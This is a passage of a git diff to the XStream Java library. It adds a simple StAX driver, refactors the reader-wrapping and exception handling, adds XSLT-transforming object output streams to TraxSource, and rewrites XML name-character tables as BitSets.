+import java.io.File; +import java.io.InputStream; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.io.Reader; +import java.io.Writer; +import java.net.URL; + +import javax.xml.stream.XMLInputFactory; + +import com.thoughtworks.xstream.io.AbstractDriver; +import com.thoughtworks.xstream.io.HierarchicalStreamReader; +import com.thoughtworks.xstream.io.HierarchicalStreamWriter; +import com.thoughtworks.xstream.io.naming.NameCoder; + + +/** + * The replacement for the {@link XppDriver} as default for XStream. + *

    + * The reader is based on the default StAX implementation of the Java runtime, but without namespace support. The writer + * is implemented using a {@link PrettyPrintWriter}. + *

    + * + * @author Jörg Schaible + * @since upcoming + */ +public class SimpleStaxDriver extends AbstractDriver { + + private static final class StandardStaxDriverExtension extends StandardStaxDriver { + /** + * Constructs a StandardStaxDriverExtension. + * + * @param nameCoder + * @since upcoming + */ + private StandardStaxDriverExtension(final NameCoder nameCoder) { + super(EMPTY_QNAME_MAP, nameCoder); + } + + @Override + protected XMLInputFactory createInputFactory() { + final XMLInputFactory instance = super.createInputFactory(); + instance.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, false); + return instance; + } + } + + private static final QNameMap EMPTY_QNAME_MAP = new QNameMap(); + private final StaxDriver driver; + + /** + * Constructs a SimpleStaxDriver. + * + * @since upcoming + */ + public SimpleStaxDriver() { + this(new XmlFriendlyNameCoder()); + } + + /** + * Constructs a SimpleStaxDriver. + * + * @param nameCoder + * @since upcoming + */ + public SimpleStaxDriver(final NameCoder nameCoder) { + super(nameCoder); + driver = new StandardStaxDriverExtension(nameCoder); + } + + @Override + public HierarchicalStreamReader createReader(final Reader in) { + return driver.createReader(in); + } + + @Override + public HierarchicalStreamReader createReader(final InputStream in) { + return driver.createReader(in); + } + + @Override + public HierarchicalStreamReader createReader(final File in) { + return driver.createReader(in); + } + + @Override + public HierarchicalStreamReader createReader(final URL in) { + return driver.createReader(in); + } + + @Override + public HierarchicalStreamWriter createWriter(final Writer out) { + return new PrettyPrintWriter(out, getNameCoder()); + } + + @Override + public HierarchicalStreamWriter createWriter(final OutputStream out) { + return createWriter(new OutputStreamWriter(out)); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/SjsxpDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/SjsxpDriver.java index c0048f06a..b7d2b5d83 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/SjsxpDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/SjsxpDriver.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2009, 2011, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2009, 2011, 2013, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -69,14 +69,10 @@ protected XMLInputFactory createInputFactory() { final XMLInputFactory instance = (XMLInputFactory)Class.forName("com.sun.xml.internal.stream.XMLInputFactoryImpl").newInstance(); instance.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false); return instance; - } catch (final InstantiationException e) { - exception = e; - } catch (final IllegalAccessException e) { - exception = e; - } catch (final ClassNotFoundException e) { + } catch (final InstantiationException | IllegalAccessException | ClassNotFoundException e) { exception = e; } - throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLInputFaqctory instance.", exception); + throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLInputFactory instance.", exception); } /** @@ -88,14 +84,10 @@ protected XMLOutputFactory createOutputFactory() { Exception exception = null; try { return (XMLOutputFactory)Class.forName("com.sun.xml.internal.stream.XMLOutputFactoryImpl").newInstance(); - } catch (final InstantiationException e) { - exception = e; - } catch (final IllegalAccessException e) { - exception = e; - } catch (final ClassNotFoundException e) { + } catch (final InstantiationException | IllegalAccessException | ClassNotFoundException e) { exception = e; } - throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLOutputFaqctory instance.", exception); + throw new StreamException("Cannot create SJSXP (Sun JDK 6 StAX) XMLOutputFactory instance.", exception); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/StandardStaxDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/StandardStaxDriver.java index 691171354..9f75a4e5f 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/StandardStaxDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/StandardStaxDriver.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2013, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -82,11 +82,7 @@ protected XMLInputFactory createInputFactory() { } else { throw new StreamException("Java runtime has no standard XMLInputFactory implementation.", exception); } - } catch (final InstantiationException e) { - exception = e; - } catch (final IllegalAccessException e) { - exception = e; - } catch (final ClassNotFoundException e) { + } catch (final InstantiationException | IllegalAccessException | ClassNotFoundException e) { exception = e; } throw new StreamException("Cannot create standard XMLInputFactory instance of Java runtime.", exception); @@ -102,11 +98,7 @@ protected XMLOutputFactory createOutputFactory() { } else { throw new StreamException("Java runtime has no standard XMLOutputFactory implementation.", exception); } - } catch (final InstantiationException e) { - exception = e; - } catch (final IllegalAccessException e) { - exception = e; - } catch (final ClassNotFoundException e) { + } catch (final InstantiationException | IllegalAccessException | ClassNotFoundException e) { exception = e; } throw new StreamException("Cannot create standard XMLOutputFactory instance of Java runtime.", exception); diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxDriver.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxDriver.java index 40967dc73..f3e9263aa 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxDriver.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxDriver.java @@ -1,16 +1,17 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2013, 2014, 2015, 2019, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 29. September 2004 by James Strachan */ package com.thoughtworks.xstream.io.xml; +import java.io.Closeable; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; @@ -38,7 +39,7 @@ /** * A driver using the StAX API to create XML reader and writer. - * + * * @author James Strachan * @author Jörg Schaible * @version $Revision$ @@ -90,19 +91,23 @@ public StaxDriver(final XmlFriendlyReplacer replacer) { this(new QNameMap(), (NameCoder)replacer); } + @SuppressWarnings("resource") @Override public HierarchicalStreamReader createReader(final Reader xml) { try { - return createStaxReader(createParser(xml)); + final HierarchicalStreamReader reader = createStaxReader(createParser(xml)); + return wrapReader(xml, reader); } catch (final XMLStreamException e) { throw new StreamException(e); } } + @SuppressWarnings("resource") @Override public HierarchicalStreamReader createReader(final InputStream in) { try { - return createStaxReader(createParser(in)); + final HierarchicalStreamReader reader = createStaxReader(createParser(in)); + return wrapReader(in, reader); } catch (final XMLStreamException e) { throw new StreamException(e); } @@ -116,21 +121,8 @@ public HierarchicalStreamReader createReader(final URL in) { stream = in.openStream(); final HierarchicalStreamReader reader = createStaxReader(createParser(new StreamSource(stream, in .toExternalForm()))); - return new ReaderWrapper(reader) { - - @Override - public void close() { - super.close(); - try { - stream.close(); - } catch (final IOException e) { - // ignore - } - } - }; - } catch (final XMLStreamException e) { - throw new StreamException(e); - } catch (final IOException e) { + return wrapReader(stream, reader); + } catch (final XMLStreamException | IOException e) { throw new StreamException(e); } } @@ -144,25 +136,27 @@ public HierarchicalStreamReader createReader(final File in) { final HierarchicalStreamReader reader = createStaxReader(createParser(new StreamSource(stream, in .toURI() .toASCIIString()))); - return new ReaderWrapper(reader) { - - @Override - public void close() { - super.close(); - try { - stream.close(); - } catch (final IOException e) { - // ignore - } - } - }; - } catch (final XMLStreamException e) { - throw new StreamException(e); - } catch (final FileNotFoundException e) { + return wrapReader(stream, reader); + } catch (final XMLStreamException | FileNotFoundException e) { throw new StreamException(e); } } + private ReaderWrapper wrapReader(final Closeable in, final HierarchicalStreamReader reader) { + return new ReaderWrapper(reader) { + + @Override + public void close() { + super.close(); + try { + in.close(); + } catch (final IOException e) { + // ignore + } + } + }; + } + @Override public HierarchicalStreamWriter createWriter(final Writer out) { try { @@ -226,8 +220,8 @@ public boolean isRepairingNamespace() { * @since 1.2 */ public void setRepairingNamespace(final boolean repairing) { - getOutputFactory().setProperty(XMLOutputFactory.IS_REPAIRING_NAMESPACES, - repairing ? Boolean.TRUE : Boolean.FALSE); + getOutputFactory() + .setProperty(XMLOutputFactory.IS_REPAIRING_NAMESPACES, repairing ? Boolean.TRUE : Boolean.FALSE); } // Implementation methods diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxReader.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxReader.java index 789cf8893..ee1059994 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxReader.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/StaxReader.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -65,6 +65,7 @@ protected int pullNextEvent() { case XMLStreamConstants.END_DOCUMENT: case XMLStreamConstants.END_ELEMENT: return END_NODE; + case XMLStreamConstants.CDATA: case XMLStreamConstants.CHARACTERS: return TEXT; case XMLStreamConstants.COMMENT: diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/TraxSource.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/TraxSource.java index 214bac4a8..cd01c1c42 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/TraxSource.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/TraxSource.java @@ -1,27 +1,54 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2013, 2014, 2015, 2020, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 14. August 2004 by Joe Walnes */ package com.thoughtworks.xstream.io.xml; -import java.util.ArrayList; +import java.io.IOException; +import java.io.InterruptedIOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.io.Writer; +import java.nio.charset.StandardCharsets; +import java.util.LinkedList; import java.util.List; - +import java.util.Map; +import java.util.Queue; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.LinkedBlockingQueue; +import java.util.function.Supplier; + +import javax.xml.transform.Source; +import javax.xml.transform.Templates; +import javax.xml.transform.Transformer; +import javax.xml.transform.TransformerConfigurationException; +import javax.xml.transform.TransformerException; +import javax.xml.transform.TransformerFactory; import javax.xml.transform.sax.SAXSource; +import javax.xml.transform.stream.StreamResult; import org.xml.sax.InputSource; import org.xml.sax.SAXException; +import org.xml.sax.SAXNotRecognizedException; +import org.xml.sax.SAXNotSupportedException; import org.xml.sax.XMLFilter; import org.xml.sax.XMLReader; import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.core.util.CustomObjectOutputStream; +import com.thoughtworks.xstream.core.util.ListWrappingQueue; +import com.thoughtworks.xstream.io.StreamException; +import com.thoughtworks.xstream.mapper.Mapper; /** @@ -31,7 +58,7 @@ * The following example shows how to apply an XSL Transformation to a set of Java objects gathered into a List ( * source): *

    - * + * *
      * 
      * public static String transform(List source, String stylesheet) {
    @@ -48,8 +75,9 @@
      * }
      * 
      * 
    - * + * * @author Laurent Bihanic + * @author Joerg Schaible */ public class TraxSource extends SAXSource { @@ -63,13 +91,15 @@ public class TraxSource extends SAXSource { *

    */ public final static String XSTREAM_FEATURE = "http://com.thoughtworks.xstream/XStreamSource/feature"; + private final static Mapper.Null NULL = new Mapper.Null(); /** * The XMLReader object associated to this source or null if no XMLReader has yet been requested. - * + * * @see #getXMLReader */ private XMLReader xmlReader = null; + private SaxWriter saxWriter = null; /** * The configured XStream facade to use for serializing objects. @@ -77,9 +107,9 @@ public class TraxSource extends SAXSource { private XStream xstream = null; /** - * The list of Java objects to be serialized. + * The queue of Java objects to be serialized. */ - private List source = null; + private Queue source = null; // ------------------------------------------------------------------------- // Constructors @@ -94,7 +124,7 @@ public TraxSource() { /** * Creates a XStream TrAX source, specifying the object to marshal. - * + * * @param source the object to marshal. * @throws IllegalArgumentException if source is null. * @see #setSource(java.lang.Object) @@ -107,7 +137,7 @@ public TraxSource(final Object source) { /** * Creates a XStream TrAX source, specifying the object to marshal and a configured (with aliases) XStream facade. - * + * * @param source the object to marshal. * @param xstream a configured XStream facade. * @throws IllegalArgumentException if source or xstream is null. @@ -123,7 +153,7 @@ public TraxSource(final Object source, final XStream xstream) { /** * Creates a XStream TrAX source, setting the objects to marshal. - * + * * @param source the list of objects to marshal. * @throws IllegalArgumentException if source is null or empty. * @see #setSourceAsList(java.util.List) @@ -136,7 +166,7 @@ public TraxSource(final List source) { /** * Creates a XStream TrAX source, setting the objects to marshal and a configured (with aliases) XStream facade. - * + * * @param source the list of objects to marshal. * @param xstream a configured XStream facade. * @throws IllegalArgumentException if source or xstream is null or @@ -161,7 +191,7 @@ public TraxSource(final List source, final XStream xstream) { * As this implementation only supports object lists as data source, this method always throws an * {@link UnsupportedOperationException}. *

    - * + * * @param inputSource a valid InputSource reference. * @throws UnsupportedOperationException always! */ @@ -177,7 +207,7 @@ public void setInputSource(final InputSource inputSource) { * {@link UnsupportedOperationException} if the provided reader object does not implement the SAX {@link XMLFilter} * interface. Otherwise, a {@link SaxWriter} instance will be attached as parent of the filter chain. *

    - * + * * @param reader a valid XMLReader or XMLFilter reference. * @throws UnsupportedOperationException if reader is not a SAX {@link XMLFilter}. * @see #getXMLReader @@ -193,7 +223,7 @@ public void setXMLReader(final XMLReader reader) { * This implementation returns a specific XMLReader ({@link SaxWriter}) generating the XML from a list of input * objects. *

    - * + * * @return an XMLReader generating the XML from a list of input objects. */ @Override @@ -210,7 +240,7 @@ public XMLReader getXMLReader() { /** * Sets the XStream facade to use when marshalling objects. - * + * * @param xstream a configured XStream facade. * @throws IllegalArgumentException if xstream is null. */ @@ -225,7 +255,7 @@ public void setXStream(final XStream xstream) { /** * Sets the object to marshal. - * + * * @param obj the object to marshal. * @throws IllegalArgumentException if source is null. */ @@ -233,7 +263,7 @@ public void setSource(final Object obj) { if (obj == null) { throw new IllegalArgumentException("obj"); } - final List list = new ArrayList<>(1); + final List list = new LinkedList<>(); list.add(obj); setSourceAsList(list); @@ -246,7 +276,7 @@ public void setSource(final Object obj) { * the source tree (see section 3.1 of the "XSL * Transformations (XSLT) Version 1.0" specification. Using a list of objects as source makes use of this * feature and allows creating XML documents merging the XML serialization of several Java objects. - * + * * @param list the list of objects to marshal. * @throws IllegalArgumentException if source is null or empty. */ @@ -254,14 +284,16 @@ public void setSourceAsList(final List list) { if (list == null || list.isEmpty()) { throw new IllegalArgumentException("list"); } - source = list; + @SuppressWarnings("unchecked") + final List olist = (List)list; + source = list instanceof Queue ? (Queue)list : new ListWrappingQueue<>(olist); configureXMLReader(); } private void createXMLReader(final XMLReader filterChain) { if (filterChain == null) { - xmlReader = new SaxWriter(); + xmlReader = saxWriter = new SaxWriter(); } else { if (filterChain instanceof XMLFilter) { // Connect the filter chain to a document reader. @@ -270,8 +302,7 @@ private void createXMLReader(final XMLReader filterChain) { filter = (XMLFilter)filter.getParent(); } if (!(filter.getParent() instanceof SaxWriter)) { - @SuppressWarnings("resource") - final SaxWriter saxWriter = new SaxWriter(); + saxWriter = new SaxWriter(); filter.setParent(saxWriter); } @@ -291,11 +322,266 @@ private void configureXMLReader() { xmlReader.setProperty(SaxWriter.CONFIGURED_XSTREAM_PROPERTY, xstream); } if (source != null) { - xmlReader.setProperty(SaxWriter.SOURCE_OBJECT_LIST_PROPERTY, source); + xmlReader.setProperty(SaxWriter.SOURCE_OBJECT_QUEUE_PROPERTY, source); } } catch (final SAXException e) { throw new IllegalArgumentException(e.getMessage()); } } } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the XSL template + * @param target the target stream + * @throws TransformerConfigurationException if the style sheet is invalid + * @throws IOException if writing into the output stream fails + * @see #createObjectOutputStream(Templates, Writer, String) + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Source stylesheet, final OutputStream target) + throws IOException, TransformerConfigurationException { + return createObjectOutputStream(stylesheet, new OutputStreamWriter(target, StandardCharsets.UTF_8)); + } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the XSL template + * @param target the target stream + * @throws IOException if writing into the output stream fails + * @see #createObjectOutputStream(Templates, Writer, String) + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Templates stylesheet, final OutputStream target) + throws IOException { + return createObjectOutputStream(stylesheet, new OutputStreamWriter(target, StandardCharsets.UTF_8)); + } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the source with the XSL + * @param writer the target writer + * @throws TransformerConfigurationException if the style sheet is invalid + * @throws IOException if writing into the writer fails + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Source stylesheet, final Writer writer) + throws IOException, TransformerConfigurationException { + return createObjectOutputStream(stylesheet, writer, "object-stream"); + } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the XSL template + * @param writer the target writer + * @throws IOException if writing into the writer fails + * @see #createObjectOutputStream(Templates, Writer, String) + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Templates stylesheet, final Writer writer) + throws IOException { + return createObjectOutputStream(stylesheet, writer, "object-stream"); + } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the source with the XSL + * @param target the target stream + * @param rootNodeName the name of the root element + * @throws TransformerConfigurationException if the style sheet is invalid + * @throws IOException if writing into the output stream fails + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Source stylesheet, final OutputStream target, + final String rootNodeName) + throws IOException, TransformerConfigurationException { + return createObjectOutputStream(stylesheet, new OutputStreamWriter(target, StandardCharsets.UTF_8), + rootNodeName); + } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the XSL template + * @param target the target stream + * @param rootNodeName the name of the root element + * @throws IOException if writing into the output stream fails + * @see #createObjectOutputStream(Templates, OutputStream, String) + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Templates stylesheet, final OutputStream target, + final String rootNodeName) + throws IOException { + return createObjectOutputStream(stylesheet, new OutputStreamWriter(target, StandardCharsets.UTF_8), + rootNodeName); + } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the source with the XSL + * @param writer the target writer + * @param rootNodeName the name of the root element + * @throws TransformerConfigurationException if the style sheet is invalid + * @throws IOException if writing into the writer fails + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Source stylesheet, final Writer writer, + final String rootNodeName) + throws IOException, TransformerConfigurationException { + final Templates templates = TransformerFactory.newInstance().newTemplates(stylesheet); + return createObjectOutputStream(templates, writer, rootNodeName); + } + + /** + * Create a transforming ObjectOutputStream. + *

    + * Note, the stream instance may throw important exceptions when closed. + *

    + * + * @param stylesheet the XSL template + * @param writer the target writer + * @param rootNodeName the name of the root element + * @throws IOException if writing into the writer fails + * @see XStream#createObjectOutputStream(com.thoughtworks.xstream.io.HierarchicalStreamWriter, String) + * @since upcoming + */ + public ObjectOutputStream createObjectOutputStream(final Templates stylesheet, final Writer writer, + final String rootNodeName) + throws IOException { + getXMLReader(); + final CompletableFuture future = new CompletableFuture<>(); + final BlockingQueue queue = new LinkedBlockingQueue<>(); + final Supplier supplier = () -> { + try { + @SuppressWarnings("resource") + final CustomObjectOutputStream customObjectOutputStream = (CustomObjectOutputStream)xstream + .createObjectOutputStream(saxWriter, rootNodeName); + future.complete(customObjectOutputStream); + return customObjectOutputStream; + } catch (final IOException e) { + throw new StreamException(e); + } + }; + try { + xmlReader.setProperty(SaxWriter.OOS_SUPPLIER_PROPERTY, supplier); + xmlReader.setProperty(SaxWriter.SOURCE_OBJECT_QUEUE_PROPERTY, queue); + } catch (SAXNotRecognizedException | SAXNotSupportedException e) { + throw new IllegalArgumentException(e.getMessage()); + } + final TransformerException transEx[] = new TransformerException[1]; + final Thread t = new Thread(() -> { + Transformer transformer; + try { + transformer = stylesheet.newTransformer(); + transformer.transform(this, new StreamResult(writer)); + } catch (final TransformerException e) { + transEx[0] = e; + } + }); + t.start(); + t.setName("XStream OutputObjectStream Transformer"); + try { + final CustomObjectOutputStream customObjectOutputStream = future.get(); + final CustomObjectOutputStream.StreamCallback callback = customObjectOutputStream.popCallback(); + customObjectOutputStream.pushCallback(new CustomObjectOutputStream.StreamCallback() { + + @Override + public void writeToStream(final Object object) throws IOException { + if (Thread.currentThread() == t) { + callback.writeToStream(object == NULL ? null : object); + } else { + TraxSource.checkException(transEx[0]); + try { + queue.put(object == null ? NULL : object); + } catch (final InterruptedException e) { + throw new InterruptedIOException(); + } + } + } + + @Override + public void writeFieldsToStream(final Map fields) throws IOException { + callback.writeFieldsToStream(fields); + } + + @Override + public void defaultWriteObject() throws IOException { + callback.defaultWriteObject(); + } + + @Override + public void flush() throws IOException { + callback.flush(); + } + + @Override + public void close() throws IOException { + if (Thread.currentThread() == t) { + callback.close(); + } else { + TraxSource.checkException(transEx[0]); + writeToStream(SaxWriter.EOS); + try { + t.join(); + } catch (final InterruptedException e) { + throw new InterruptedIOException(); + } + } + } + + }); + checkException(transEx[0]); + return customObjectOutputStream; + } catch (InterruptedException | ExecutionException e) { + throw new StreamException("Failed to communicate with transformation thread", e); + } + } + + private static void checkException(final TransformerException transformerException) throws Error, IOException { + if (transformerException != null) { + final Throwable e = transformerException.getCause(); + if (e instanceof Error) { + throw (Error)e; + } else if (e instanceof RuntimeException) { + throw (RuntimeException)e; + } else if (e instanceof IOException) { + throw (IOException)e; + } + throw new StreamException("XSLT transformation failed", transformerException); + } + } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java index b2fe5af2f..64bdd83eb 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2019, 2020, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,7 +11,7 @@ */ package com.thoughtworks.xstream.io.xml; -import java.util.ArrayList; +import java.util.BitSet; import java.util.HashMap; import java.util.Map; @@ -34,64 +34,385 @@ *
  • other characters that are invalid in XML names are encoded with _.XXXX (underscore dot followed by hex * representation of character).
  • * - * + *

    + * The valid characters are defined by the intersection of the XML 1.0 specification (4th edition) and later + * specifications till XML 1.1 specification. + *

    + * * @author Jörg Schaible * @author Mauro Talevi * @author Tatu Saloranta * @author Michael Schnell - * @see XML 1.0 name definition - * @see XML 1.1 name definition - * @see Java identifier definition + * @see XML 1.0 name definition (5th edition) + * @see XML 1.0 name definition (4th edition) + * @see XML 1.1 name definition + * @see Java identifier definition * @since 1.4 */ public class XmlFriendlyNameCoder implements NameCoder, Cloneable { - private static final IntPair[] XML_NAME_START_CHAR_BOUNDS; - private static final IntPair[] XML_NAME_CHAR_EXTRA_BOUNDS; + private static final BitSet XML_NAME_START_CHARS; + private static final BitSet XML_NAME_CHARS; static { - class IntPairList extends ArrayList { - private static final long serialVersionUID = 20151010L; - - void add(final int min, final int max) { - super.add(new IntPair(min, max)); - } - - void add(final char cp) { - super.add(new IntPair(cp, cp)); - } - } - - // legal characters in XML names according to - // http://www.w3.org/TR/REC-xml/#NT-Name and - // http://www.w3.org/TR/xml11/#NT-Name - final IntPairList list = new IntPairList(); - - list.add(':'); - list.add('A', 'Z'); - list.add('a', 'z'); - list.add('_'); - - list.add(0xC0, 0xD6); - list.add(0xD8, 0xF6); - list.add(0xF8, 0x2FF); - list.add(0x370, 0x37D); - list.add(0x37F, 0x1FFF); - list.add(0x200C, 0x200D); - list.add(0x2070, 0x218F); - list.add(0x2C00, 0x2FEF); - list.add(0x3001, 0xD7FF); - list.add(0xF900, 0xFDCF); - list.add(0xFDF0, 0xFFFD); - list.add(0x10000, 0xEFFFF); - XML_NAME_START_CHAR_BOUNDS = list.toArray(new IntPair[list.size()]); - - list.clear(); - list.add('-'); - list.add('.'); - list.add('0', '9'); - list.add('\u00b7'); - list.add(0x0300, 0x036F); - list.add(0x203F, 0x2040); - XML_NAME_CHAR_EXTRA_BOUNDS = list.toArray(new IntPair[list.size()]); + final BitSet XML_NAME_START_CHARS_4TH = new BitSet(0xFFFFF); + XML_NAME_START_CHARS_4TH.set(':'); + XML_NAME_START_CHARS_4TH.set('_'); + XML_NAME_START_CHARS_4TH.set('A', 'Z' + 1); + XML_NAME_START_CHARS_4TH.set('a', 'z' + 1); + XML_NAME_START_CHARS_4TH.set(0xC0, 0xD6 + 1); + XML_NAME_START_CHARS_4TH.set(0xD8, 0xF6 + 1); + + final BitSet XML_NAME_START_CHARS_5TH = (BitSet)XML_NAME_START_CHARS_4TH.clone(); + + XML_NAME_START_CHARS_4TH.set(0xF8, 0x131 + 1); + XML_NAME_START_CHARS_4TH.set(0x134, 0x13E + 1); + XML_NAME_START_CHARS_4TH.set(0x141, 0x148 + 1); + XML_NAME_START_CHARS_4TH.set(0x14A, 0x17E + 1); + XML_NAME_START_CHARS_4TH.set(0x180, 0x1C3 + 1); + XML_NAME_START_CHARS_4TH.set(0x1CD, 0x1F0 + 1); + XML_NAME_START_CHARS_4TH.set(0x1CD, 0x1F0 + 1); + XML_NAME_START_CHARS_4TH.set(0x1F4, 0x1F5 + 1); + XML_NAME_START_CHARS_4TH.set(0x1FA, 0x217 + 1); + XML_NAME_START_CHARS_4TH.set(0x250, 0x2A8 + 1); + XML_NAME_START_CHARS_4TH.set(0x2BB, 0x2C1 + 1); + XML_NAME_START_CHARS_4TH.set(0x386); + XML_NAME_START_CHARS_4TH.set(0x388, 0x38A + 1); + XML_NAME_START_CHARS_4TH.set(0x38C); + XML_NAME_START_CHARS_4TH.set(0x38E, 0x3A1 + 1); + XML_NAME_START_CHARS_4TH.set(0x3A3, 0x3CE + 1); + XML_NAME_START_CHARS_4TH.set(0x3D0, 0x3D6 + 1); + XML_NAME_START_CHARS_4TH.set(0x3DA); + XML_NAME_START_CHARS_4TH.set(0x3DC); + XML_NAME_START_CHARS_4TH.set(0x3DE); + XML_NAME_START_CHARS_4TH.set(0x3E0); + XML_NAME_START_CHARS_4TH.set(0x3E2, 0x3F3 + 1); + XML_NAME_START_CHARS_4TH.set(0x401, 0x40C + 1); + XML_NAME_START_CHARS_4TH.set(0x40E, 0x44F + 1); + XML_NAME_START_CHARS_4TH.set(0x451, 0x45C + 1); + XML_NAME_START_CHARS_4TH.set(0x45E, 0x481 + 1); + XML_NAME_START_CHARS_4TH.set(0x490, 0x4C4 + 1); + XML_NAME_START_CHARS_4TH.set(0x4C7, 0x4C8 + 1); + XML_NAME_START_CHARS_4TH.set(0x4CB, 0x4CC + 1); + XML_NAME_START_CHARS_4TH.set(0x4D0, 0x4EB + 1); + XML_NAME_START_CHARS_4TH.set(0x4EE, 0x4F5 + 1); + XML_NAME_START_CHARS_4TH.set(0x4F8, 0x4F9 + 1); + XML_NAME_START_CHARS_4TH.set(0x531, 0x556 + 1); + XML_NAME_START_CHARS_4TH.set(0x559); + XML_NAME_START_CHARS_4TH.set(0x561, 0x586 + 1); + XML_NAME_START_CHARS_4TH.set(0x5D0, 0x5EA + 1); + XML_NAME_START_CHARS_4TH.set(0x5F0, 0x5F2 + 1); + XML_NAME_START_CHARS_4TH.set(0x621, 0x63A + 1); + XML_NAME_START_CHARS_4TH.set(0x641, 0x64A + 1); + XML_NAME_START_CHARS_4TH.set(0x671, 0x6B7 + 1); + XML_NAME_START_CHARS_4TH.set(0x6BA, 0x6BE + 1); + XML_NAME_START_CHARS_4TH.set(0x6C0, 0x6CE + 1); + XML_NAME_START_CHARS_4TH.set(0x6D0, 0x6D3 + 1); + 